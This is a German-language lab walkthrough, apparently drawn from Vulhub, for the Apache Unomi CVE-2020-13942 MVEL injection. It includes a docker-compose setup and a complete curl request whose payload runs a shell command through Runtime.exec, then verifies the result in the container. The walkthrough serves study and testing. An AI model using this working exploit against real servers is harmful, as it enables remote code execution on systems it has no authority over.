
Schritt-für-Schritt-Laborumgebung und Exploit für Apache Unomi CVE-2020-13942, die MVEL expression language injection demonstriert und zu Remote-Code-Ausführung führt.
Diese Schwachstelle ermöglicht die Ausführung beliebiger Befehle auf Systemen, die Apache Unomi Version 1.5.1 ausführen, indem sie die MVEL-Ausdrückssprachen-Injection ausnutzt.
GitHub - Vulhub - Unomi CVE-2020-13942
docker-compose.yml)version: '2'
services:
web:
image: vulhub/unomi:1.5.1
ports:
- "9443:9443"
- "8181:8181"
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
depends_on:
- elasticsearch
elasticsearch:
image: elasticsearch:7.9.3
environment:
- cluster.name=contextElasticSearch
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- bootstrap.memory_lock=true
Führen Sie die Container mit dem folgenden Befehl aus:
docker compose up -d
Senden Sie die folgende POST-Anfrage mit curl:
curl -X POST http://localhost:8181/context.json \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
-H "Connection: close" \
-H "Content-Type: application/json" \
-d '{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}'
Greifen Sie auf den Container zu, um die Erstellung der Datei zu überprüfen:
docker exec -it af7de05fc47e ls /tmp
Überprüfen Sie das Vorhandensein des Ordners pluto:
hsperfdata_root pluto
Wenn die Datei pluto vorhanden ist, bedeutet dies, dass der Exploit erfolgreich war.
Diese Schwachstelle ermöglicht die Ausführung beliebiger Befehle. Verwenden Sie diese Tests nur in kontrollierten Umgebungen und zu Studien- oder Überprüfungszwecken. Das Ausnutzen von Schwachstellen in nicht autorisierten Umgebungen ist illegal.